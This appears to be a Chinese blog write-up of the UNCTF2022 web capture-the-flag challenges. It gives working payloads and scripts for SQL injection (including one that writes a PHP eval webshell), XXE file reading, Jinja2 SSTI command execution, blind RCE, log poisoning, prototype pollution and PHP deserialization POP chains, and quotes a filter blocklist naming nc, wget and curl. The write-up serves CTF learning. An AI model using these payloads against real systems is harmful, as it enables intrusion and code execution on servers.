UNCTF2022-Web

给你一刀-西南科技大学

  • thinkphp5漏洞

直接用tp漏扫工具来直接利用漏洞

flag在环境变量

image-20221116170639529

image-20221116170646007

快乐三消-河南理工大学

  • 文件包含
  • 源码泄露

。。。。。这个就是吃字典的一道题

使用御剑扫描后台可以看到admin/login.php和amin/login.php.bak

下载源码可以发现账户密码

admin/unctf

<?php 
include('../core.php');
C(require('../config.php'));
if (I('post.')) {
    if (I('post.user')==C('username') && I('post.pwd')==C('userpwd')) { // admin/unctf
	    $_SESSION['islogin'] = C('username');
	    str_alert('','index.php'); 
	} else {
	    str_alert('账号密码错误'); 
	}
}
 
?>

进去后可以在网站预览发现文件包含,这里可以发现这个地方是包含了这个后台的文件

在网页源码里也可以看到

image-20221121143749967

image-20221121143903064

然后直接包含根目录的flag,得到flag。。。。。。

我还以为是sql注入呢。。。。。

image-20221121144011473

签到-吉林警察学院

  • 脚本编写

看起来是sql注入,一个登录框非常误导人

image-20221113163110341

image-20221113163131129

可以看见提示,然后发现当username输入20200102时会回显’f’

所以应该是输入2020010x来回显flag的字符

exp

import re

import requests
url="http://7f0c0b7f-f247-467f-ba54-51b716a04cc7.node.yuzhian.com.cn/index.php"
header={"Content-Type": "application/x-www-form-urlencoded"}
result=''
for i in range(20200102,20200140):
    data={"username":i}
    res=requests.post(url=url,data=data,headers=header)
    print(data)
    res.encoding = "gbk123"
    result+=re.findall('</body>\r\n\r\n</html>\r\n\r\n(.*)\r\n\r\n',res.text)[0]
    print(result)
# print(res.content)

世界和平-西南科技大学

  • 堆叠注入

  • 无列名注入

什么弔题

image-20221115210741024

过滤了一堆

handler
like
select
sleep
delete
or
select
insert
&
&&
handler
xor
"
select
union
oorr
anandd
sleep
information_schema
prepare
set
update
delete
drop
inset
floor
rand()
information_schema.tables
extractvalue
order
updatexml
format
ord
for
from
flag

最崽种的是,tmd,他还把这些过滤的关键词的大写直接替换为空,而且是只要有包含一个大写字符,就替换为空

eg:

Select,SElect,SELect,SELEct,SELECt,SELECT都会被替换为空,ctm

首先使用

show databases查看库名

show tables查看表名,发现Flag表

原本以为可以使用show columns FrFromom Flag来查看字段结构,结果tm的不仅过滤了flag,而且其大写的也替换为空了(这个是在最后才发现的)

所以可以先使用0;show columns FrFromom FlFlagag查看字段

image-20221115211841230

然后直接查询

image-20221115211914640

不知道字段名也没事,可以使用无列名注入

payload:

query=0;SELSELECTECT  `1`  FRFROMOM  (SELSELECTECT 1 UNIUNIONON SELSELECTECT * FRFROMOM FlFlagag) as a

image-20221115211959777

随便注-云南警官学院

  • sql写马

真无语,找了半天数据库,结果flag不在库里

经过fuzz,可以发现过滤了一些东西,并将其替换为空,可以双写或者大小写绕过

使用select ‘xxxx’ into outfile 'xxx’写马

可以在联合查询的时候执行

并且题目的语句是用单引号闭合

payload:

0' UNION SELECT 1,'<?php eval($_POST[1]);?>' INTO OUTFILE '/var/www/html/shell.php' #

然后url编码给id传值就行

访问shell.php进行rce


secure_file_priv
  • Description: LOAD DATA, SELECT … INTO and LOAD FILE() will only work with files in the specified path. If not set, the default, or set to empty string, the statements will work with any files that can be accessed.
  • Commandline: --secure-file-priv=path
  • Scope: Global
  • Dynamic: No
  • Data Type: path name
  • Default Value: None

select into outfile受secure_file_priv影响,只有secure_file_priv为null,才能写在任意地方,且需要有响应的权限

听说php有一个xxe-西南科技大学

  • xxe

比较简单

按照提示下载hint

https://477f1ea0-4b3b-44bb-90d1-89036c8b97ce.node.yuzhian.com.cn/hint

so cool!!!hacker!
I just tell you I have a big bug in dom.php

访问dom.php

image-20221114145713399

猜测为使用xxe,且他是把所有的内容都显示出来

所以随便输入一个外部实体,都可以显示出来

payload:

<!DOCTYPE xml[<!ENTITY xxe SYSTEM "file:///flag">]><flag>&xxe;</flag>

image-20221114150740469

我太喜欢bilibili大学啦–中北大学

  • 不懂

打开环境是phpinfo,直接搜flag就得到了flag

1

babynode-云南大学

  • nodejs原型链污染

就是简单的原型链污染

app.post('/', function(req, res) {
    var flag='flag';
    var admin = {};
    let user = {};
    try{
        copy(user,req.body);
    } catch (error){
        res.send("copy error");
        return;
    }
    if(admin.id==='unctf'){
        res.end(flag);
    }else{
        return res.end("error");
    }
}
)

因为admin没有id这个属性,所以回去他的原型里找,只要污染原型object就行

payload:

要修改Content-Type

{"__proto__":{"id":"unctf"}}

image-20221115160359042

babyphp-中国人民公安大学

  • php特性

玩烂的东西了,直接给payload

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_POST["a"])){
    if($_POST["a"]==0&&$_POST["a"]!==0){
        if(isset($_POST["key1"])&isset($_POST["key2"])){
            $key1=$_POST["key1"];
            $key2=$_POST["key2"];
            if ($key1!==$key2&&sha1($key1)==sha1($key2)){
                if (isset($_GET["code"])){
                    $code=$_GET["code"];
                    if(!preg_match("/flag|system|txt|cat|tac|sort|shell|\.| |\'/i", $code)){
                        eval($code);
                    }else{
                        echo "有手就行</br>";
                    }
                }else{
                    echo "老套路了</br>";
                }
            }else{
                echo "很简单的,很快就拿flag了~_~</br>";
            }
        }else{
            echo "百度就能搜到的东西</br>";
        }
    }else{
        echo "easy 不 easy ,baby 真 baby,都是玩烂的东西,快拿flag!!!</br>";
    }
}
POST a=a&key1[]=a&key2[]=b
GET  ?code=?><?=`nl%09/f*`;?>或者?code=passthru("nl%09/f*");

使用%09来替代空格

使用反引号来执行系统命令

使用短标签<?= ?>来输出执行系统命令后的内容

easy ssti-金陵科技学院

  • ssti

比较简单,就过滤了个class关键字,有很多种方法可以绕过,这里用字符串拼接绕过

先找注入点

image-20221114143528257

然后

payload:

pwd=&user={{()['__cl''ass__'].__base__['__subcl''asses__']()[213].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}

['__subcl''asses__']()[213]这个213是用脚本找的<class 'warnings.catch_warnings'>这个子类所在的下标

flag在环境变量里

也可以使用lipsum

lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:

payload:

pwd=&user={{lipsum.__globals__['os'].popen('env').read()}}

easy_rce-西南科技大学

  • rce盲注

长见识

<?php
# flag in /flag

if(isset($_GET['code'])){

    $code=$_GET['code'];

    if (!preg_match('/\@|\#|\%|:|&|;|\\\\|"|\'|`|\.|\&|\*|>|<|nc|wget|bash|sh|netcat|grep|base64|rev|curl|wget|php|ping|cat|fl|mkdir/i',$code)){

        exec($code,$output,$return_val);

        if(!$return_val)   echo "success";
        else{
            echo "fail"; 
        }
                    
    }
    else{
        die("小黑子,露出只因脚了吧");
    }
}
else{
    highlight_file(__FILE__);
}
?>

这里过滤了;和引号,导致不能使用if来进行判断

使用cut和tr进行盲注

Linux tr 命令用于转换或删除文件中的字符。

tr 指令从标准输入设备读取数据,经过字符串转译后,将结果输出到标准输出设备

payload:

l$(tac /f??? | cut -c 1 | tr U s)

如果cut得到的字符为U的话,就会转换为s,这样就会执行ls,得到success

否则就会执行错误,得到fail

image-20221116214255899

但是要自己判断一下{和}号的位置

exp

import requests
from string import  *
url="http://69a1ccc4-0832-4c73-b125-9be150d6ecce.node.yuzhian.com.cn/?code="
str=ascii_letters+digits+'{}_-!!!'
result=''
for a in range(1,50):
    for i in str:
        data="l$(tac /f???|cut -c {}|tr {} s)"
        cmd=data.format(a,i)
        res=requests.get(url=url+cmd)
        if "success" in res.text:
            print(res.text)
            result+=i
            print(result)
            break

easy_upload-云南警官学院

  • 日志包含

使用dirsearch扫描目录,可以发现存在备份文件www.rar

image-20221114112457131

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
if (preg_match("/flag|\.\.|\/\//i", $file)) {
echo "no hack";
 exit();
} 
include $file;
}else{
    include("upload.php");
}
?>

可以发现存在文件包含,且发现题目环境是nginx服务器,尝试包含nginx日志,发现可以包含

image-20221114112553590

然后在数据包里写马,包含这个日志,用蚁剑连接,成功rce

image-20221114112618909

flag在/home/ctf/flag

image-20221114113537235


然后看看他的文件上传逻辑

<?php
error_reporting(0); 
// 允许上传的图片后缀
if( !isset($_FILES["file"])){
die();
}

$allowedExts = array("jpg");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);     // 获取文件后缀名

if ((($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 15360)   // 小于 15 kb
)
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "错误:: " . $_FILES["file"]["error"] . "<br>";
    }else if(mb_strpos(file_get_contents($file["tmp_name"]), "eval") !== FALSE)
    {
        echo "NO! HACKER!";
        }
    else
    {
        echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
        echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
        echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
        echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";

        // 判断当前目录下的 upload 目录是否存在该文件
        if (file_exists("uplO4d/" . $_FILES["file"]["name"]))
        {
            echo $_FILES["file"]["name"] . " 文件已经存在。 ";
        }
        else
        {
            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
            move_uploaded_file($_FILES["file"]["tmp_name"], "uplO4d/" . $_FILES["file"]["name"]);
            echo "文件存储在: " . "uplO4d/" . $_FILES["file"]["name"];
        }
    }
}
else
{
    echo "非法的文件格式";
}
?>

这里有个烟雾弹,就是他虽然获取了文件后缀,但并没有进行判断

只要Content-Type为image/png、文件内容中不能存在’eval’且文件大小小于 15 kb就行

image-20221114113439537

image-20221114113506029

成功rce

ez2048-中南大学

  • js

首先是获得邀请码

查看源码

checkInvited() {
    let args = [...arguments];
    let buf = new ArrayBuffer(24);
    const view = new DataView(buf);
    view.setUint8(0, 68);
    view.setUint8(1, 51);
    view.setUint8(2, 15);
    view.setUint8(3, 80);
    view.setUint16(4, 0x0e5d, true);
    view.setUint16(6, 0x323a, true);
    view.setUint16(8, 0x3058, true);
    view.setUint16(10, 0x1a2a, true);
    view.setUint32(12, 0x0512160d, true);
    view.setUint32(16, 0x02560002);
    view.setUint32(20, 0x130000);
    function check(code) {
        if (code.length !== 24) return false;
        let encode = [];
        for (let i = 0; i < code.length; i++) {
            if (~i % 2 === 0) {
                encode.push(code.charCodeAt(i) ^ code.charCodeAt(i - 2));
            } else {
                encode.push(code.charCodeAt(i) ^ code.charCodeAt(i + 1));
            }
        }
        for (let i = 0; i < code.length; i++) {
            if (view.getInt8(i) !== encode[i]) return false;
        }
        return true;
    }
	...
}

如果i为奇数就执行if,i为偶数就执行else

charCodeAt(index)获得字符串指定下标的unicode编码,

注意:如果 index 是负数,或大于等于字符串的长度,则 charCodeAt() 返回 NaN。

任意数字与NaN异或,都返回那个数字本身

String.fromCharCode()从指定的unicode编码获得字符串

for (let i = 0; i < code.length; i++) {
    if (~i % 2 === 0) {
        encode.push(code.charCodeAt(i) ^ code.charCodeAt(i - 2));//encode里的奇数位i的值等于code[i]的unicode编码异或code[i-2]
    } else {
        encode.push(code.charCodeAt(i) ^ code.charCodeAt(i + 1));//encode里的偶数位i的值等于code[i]的unicode编码异或code[i+1]
    }
}

这里最终是要encode列表的值和view.getInt8(i)得到的列表的值一样

dataView.getInt8(byteOffset);

在相对于视图开始处的指定字节偏移量位置处获取 Int8 值。没有对齐约束;可从任何偏移量获取多字节值

for (let i = 0; i < code.length; i++) {
    if (view.getInt8(i) !== encode[i]) return false;
}

而这个列表的值是确定的,因为在上面确定了偏移位置的值

得到的列表

get:
[
  68, 51, 15, 80, 93, 14, 58, 50,
  88, 48, 42, 26, 13, 22, 18,  5,
   2, 86,  0,  2,  0, 19,  0,  0
]

所以就是要按照上面的异或规则来获得与这个列表相等的列表

首先

i=1时,i-2为负数,charCodeAt(i-2)返回NaN,code.charCodeAt(i) ^ code.charCodeAt(i - 2)=code.charCodeAt(i)=51

所以encode[1]的值是可以确定的,为51,然后可以按照这个来求出所以奇数位的值,再去求偶数位的值

因为偶数位的值是code.charCodeAt(i) ^ code.charCodeAt(i + 1),是需要知道后一位的值的

exp

let buf = new ArrayBuffer(24);
const view = new DataView(buf);
view.setUint8(0, 68);
view.setUint8(1, 51);
view.setUint8(2, 15);
view.setUint8(3, 80);
view.setUint16(4, 0x0e5d, true);
view.setUint16(6, 0x323a, true);
view.setUint16(8, 0x3058, true);
view.setUint16(10, 0x1a2a, true);
view.setUint32(12, 0x0512160d, true);
view.setUint32(16, 0x02560002);
view.setUint32(20, 0x130000);



function check() {
    let answer = [
        68, 51, 15, 80, 93, 14, 58, 50,
        88, 48, 42, 26, 13, 22, 18, 5,
        2, 86, 0, 2, 0, 19, 0, 0
    ];
    let unicode = [0, 51]
    for (let i = 0; i < answer.length; i++) {
        if (~i % 2 === 0) {
            unicode[i]=(answer[i] ^ unicode[i-2]); //i为奇数进这里 i小于2时,返回的值为code.charCodeAt(i)本身,即i=1时,其余为与前两位进行异或
        }
    }
    for (let i = 0; i < answer.length; i++) {
        if (~i % 2 !== 0) {
            unicode[i]=(answer[i] ^ unicode[i+1]); //i为偶数进这里,i为23时,返回的值为code.charCodeAt(i)本身,其余为与下一位进行异或
        }
    }

    console.log(unicode)
    let result = '';
    for (let i = 0; i < unicode.length; i++) {
        result+=(String.fromCharCode(unicode[i]))
    }
    console.log(result)
}
check();

得到邀请码:w3lc0me_7o_unctf2022!!!!

然后再审获取flag的代码

image-20221116165806600

可以发现有个类似检材是否成功的方法,分别查看其中的两个函数是什么意思

allocatedInvitedCode是通过处理我们输入的邀请码得到的

image-20221116165950783

merged.value

class Tile {
    constructor(p, v) {
        this.row = p.row;
        this.column = p.column;
        this.value = v;
        this.prePosition = null;
        this.mergedTiles = null;
    }
    updatePosition(target) {
        this.prePosition = { row: this.row, column: this.column };
        this.row = target.row;
        this.column = target.column;
    }
}
const merged = new Tile(
    { row: next.row, column: next.column },
    tile.value * 2
);

这个其实就是我们得到的分数

所以只要我们传2048和邀请码就可以得到flag

因为这个js代码已经在浏览器加载了,所以可以直接控制台调试

image-20221116170505931

ezgame-浙江师范大学

  • js

什么弔题

直接查看源码,搜索unctf关键词

发现以下代码,猜测当打完boss后会触发这个函数,然后显示flag

image-20221113180552504

image-20221113180628246

将代码复制下了,将alert改为console.log,

然后执行代码,得到flag:unctf{c5f9a27d-6f88-49fb-a510-fe7b163f8dd3}

然后要将unctf改为大写

function flag(){function _0x1a71(_0x576391,_0x47cdf6){var _0x33c239=_0x3005();return _0x1a71=function(_0x18fbb7,_0x4f7b9f){_0x18fbb7=_0x18fbb7-(-0x40*0x85+-0x9dc*0x3+0x658*0xa);var _0x5a7e37=_0x33c239[_0x18fbb7];return _0x5a7e37;},_0x1a71(_0x576391,_0x47cdf6);}function _0x3005(){var _0x313bce=['86VkibmA','fe7b163f8d','6833565vBFVDj','23742ODGjjF','unctf{c5f9','d3}','1335DfKYdi','6442920PCnqhb','781140poNcpx','a27d-6f88-','795305dViflS','1569524rbiRmt','49fb-a510-','88IpXszc','13033ieCwIU','6GgaKPA'];_0x3005=function(){return _0x313bce;};return _0x3005();}var _0x57214f=_0x1a71;(function(_0x5f4f7e,_0x564c49){var _0x5561c3=_0x1a71,_0x56ec78=_0x5f4f7e();while(!![]){try{var _0xe4411f=-parseInt(_0x5561c3(0xa5))/(-0x2369+-0x618*0x4+0x3bca)*(parseInt(_0x5561c3(0xa7))/(0xac1+-0x3*0x881+-0x1*-0xec4))+parseInt(_0x5561c3(0xa6))/(0x24c5+0x783+-0x2c45)*(parseInt(_0x5561c3(0xa2))/(-0xe2e+-0x1c7d+0x2aaf))+-parseInt(_0x5561c3(0x9d))/(-0x1870+-0x1*-0x1dbd+-0x548)*(-parseInt(_0x5561c3(0xaa))/(-0x9*-0x287+0x5*-0x165+-0x2a0*0x6))+-parseInt(_0x5561c3(0xa1))/(0x4*0x9a3+-0x7*0x1d2+-0x19c7)+parseInt(_0x5561c3(0x9e))/(-0x27b+-0x206*-0x6+-0x9a1)+-parseInt(_0x5561c3(0xa9))/(0x66b+0xa39+-0x109b*0x1)+parseInt(_0x5561c3(0x9f))/(-0x8ba+0x1f1*0x10+0xb26*-0x2)*(-parseInt(_0x5561c3(0xa4))/(0x2548+0x1e3+-0x2720));if(_0xe4411f===_0x564c49)break;else _0x56ec78['push'](_0x56ec78['shift']());}catch(_0x1ed64e){_0x56ec78['push'](_0x56ec78['shift']());}}}(_0x3005,-0x909e0+0x62296*0x2+0x5bf33),console.log(_0x57214f(0xab)+_0x57214f(0xa0)+_0x57214f(0xa3)+_0x57214f(0xa8)+_0x57214f(0x9c)));}

flag();

ezunseri-西华大学

  • php反序列化
  • fastdestruct

emmm,很怪的一道题

虽然说链子很简单,但是问题在于如何绕过wakeup()

但是这个题目环境的版本是7.3.28,所以按道理来说是不能使用改类成员数的方法来绕过wakeup的

<?php
highlight_file(__FILE__);
error_reporting(0);

class Exec
{
    public $content;

    public function execute($var){
        eval($this->content);
    }

    public function __get($name){

        echo $this->content;
       
    }

    public function __invoke(){
        $content = $this->execute($this->content);
    }

    public function __wakeup()
    {
        $this->content = "";
        die("1!5!");
    }

}


class Test
{
    public $test;
    public $key;

    public function __construct(){
        
        $this->test = "test123";
    }

    public function __toString(){
        $name = $this->test;
        $name();
    }

} 

class Login
{
    private $name;
    public $code = " JUST FOR FUN";
    public $key;

    public function __construct($name="UNCTF"){

        $this->name = $name;
    }

    public function show(){

        echo $this->name.$this->code;
    }

    public function __destruct(){

        if($this->code = '3.1415926'){
            return $this->key->name;
        }
    }

}


if(isset($_GET['pop'])){
    
    $a = unserialize($_GET[pop]);
}else{
    
   $a = new Login();
   $a->show();
}

链子很简单,这道题可以改成员数,也可以使用fastdestructhttps://zhuanlan.zhihu.com/p/405838002

fastdestruct

一种方式就是修改序列化字符串的结构,使得完成部分反序列化的unserialize强制退出,提前触发__destruct,其中的几种方式如下

#修改序列化数字元素个数
a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}}
#去掉序列化尾部 }
a:1:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}

本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。

pop:

<?php


class Exec
{
    public $content;
}


class TesT
{
    public $test;
    public $key;
}

class Login
{

    public $code = " JUST FOR FUN";
    public $key;

}
$a=new Login();
$b=new Exec();
$c=new Test();
$d=new Exec();
$a->key=$b;
$b->content=$c;
$c->test=$d;
$d->content='phpinfo();';
echo serialize($a);
得到//O:5:"Login":2:{s:4:"code";s:13:" JUST FOR FUN";s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"TesT":2:{s:4:"test";O:4:"Exec":1:{s:7:"content";s:10:"phpinfo();";}s:3:"key";N;}}}

O:5:"Login":2:{s:4:"code";s:13:" JUST FOR FUN";s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"TesT":2:{s:4:"test";O:4:"Exec":1:{s:7:"content";s:10:"phpinfo();";}s:3:"key";N;}}}

修改为O:5:"Login":2:{s:4:"code";s:13:" JUST FOR FUN";s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"TesT":2:{s:4:"test";O:4:"Exec":1:{s:7:"content";s:10:"phpinfo();";}s:3:"key";N;}}

即可进行fastdestruct,让__destruct__wakeup之前执行,从而绕过__wakeup


通过fastdestrutc也会让一些魔术函数的执行顺序提前,比如说__call()

v2-1674d91390e59976ace56a16a1fb213c_r

poppop-中国人民公安大学

  • php反序列化

什么弔题啊,弄了半天rce,结果flag在环境变量里

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);

    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    public $key;
    function __destruct(){
        echo $this->key;
    }
}
class C{
    private $key2;
    function __toString()
    {
        return $this->key2->abab();
    }
}


if(isset($_POST['poc'])) {
    unserialize($_POST['poc']);
}else{
    highlight_file(__FILE__);
}

就很简单的链子

使用wakeup()绕过漏洞(CVE-2016-7124)来绕过__wakeup

就是修改成员数

然后要注意private $key2;在传的时候要将序列化内容进行url编码

  • Public属性序列化后格式: 成员名
  • Private属性序列化后格式: %00类名%00成员名
  • Protected属性序列化后的格式: %00*%00成员名
<?php
class A{
    public $code = 'system("env");';
    function __call($method,$args){
        eval($this->code);

    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    public $key;
    function __construct(){
        $this->key=new C();
    }

    function __destruct(){
        echo $this->key;
    }
}
class C{
    private $key2;
    function __construct(){
        $this->key2=new A();
    }
    function __toString()
    {
        return $this->key2->abab();
    }
}
$B=new B();
$res=urlencode(serialize($B));
$res2=str_replace('%22A%22%3A1','%22A%22%3A2',$res); //修改类A的成员数
echo $res2;

Sqlsql-中国人民公安大学

  • 堆叠注入

这个主要是要找存在sql注入的代码

首先进去,如果要查成绩,发现需要admin

image-20221116091841338

说明我们需要用admin账户登录

在这段代码里可以发现,只要用户名为admin就视为admin

if($result = $mysqli->query("select * from users where username='$username' and studentid='$studentid'")) {
    if ($result->num_rows === 1) {
        $row = $result->fetch_array();
        setcookie('username', md5($row['username']));
        $_SESSION['username'] = ($row['username']);
        $_SESSION['studentid'] = ($row['studentid']);

        header("Location: index.php");
    } else {
        exit("用户名或密码错误捏");
    }
}

同时由于在register里会检测用户名不能是’admin’所以的使用其他方法替换admin密码

在题目环境里有很多地方都使用了addslashes()

addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。

预定义字符是:

  • 单引号(')
  • 双引号(")
  • 反斜杠(\)
  • NULL

只有两个地方没有使用

index.php里

$query = "insert into score values (NULL, '".addslashes_deep($_SESSION['username'])."', $getscroe);insert into userAnswer values (NULL, '".$_SESSION['username']."', '".$_POST['q1']."', '".$_POST['q2']."', '".$_POST['q3']."', '".$_POST['q4']."', '".$_POST['q5']."')";
if ($mysqli->multi_query($query)===TRUE) {
    ...
}

这里的 P O S T 是 我 们 可 以 控 制 的 , 而 且 这 里 是 使 用 ‘ _POST是我们可以控制的,而且这里是使用` POST使mysqli->multi_query()`执行sql语句,所以可以堆叠注入

我最开始是使用update来改密码,但是发现没有用,所以怀疑表里根本没有这个数据

所以直接插表

payload:

q1=4&q2=3&q3=1&q4=1&q5=1');insert into users values (NULL, 'admin', '123');

然后用admin/123登录,随便查个学号的成绩,就可以获得flag

image-20221116093337207

image-20221116093350034

302与深大-深圳大学

  • 目录扫描
  • 抓包

dirsearch目录扫描,得到Dockerfile,其中包含一部分flag,且发现访问index.php会302跳转,抓包得到另一部分flag

image-20221114202039180

FROM php:7.4-apache
COPY . /var/www/html
WORKDIR . /var/www/html
ENV flag "miku_micgo_qka_WEB_GOD}"
RUN /bin/bash -c 'rm -rf /var/www/html/dockerfile'
EXPOSE 80

image-20221114202529688

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

v2ish1yan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值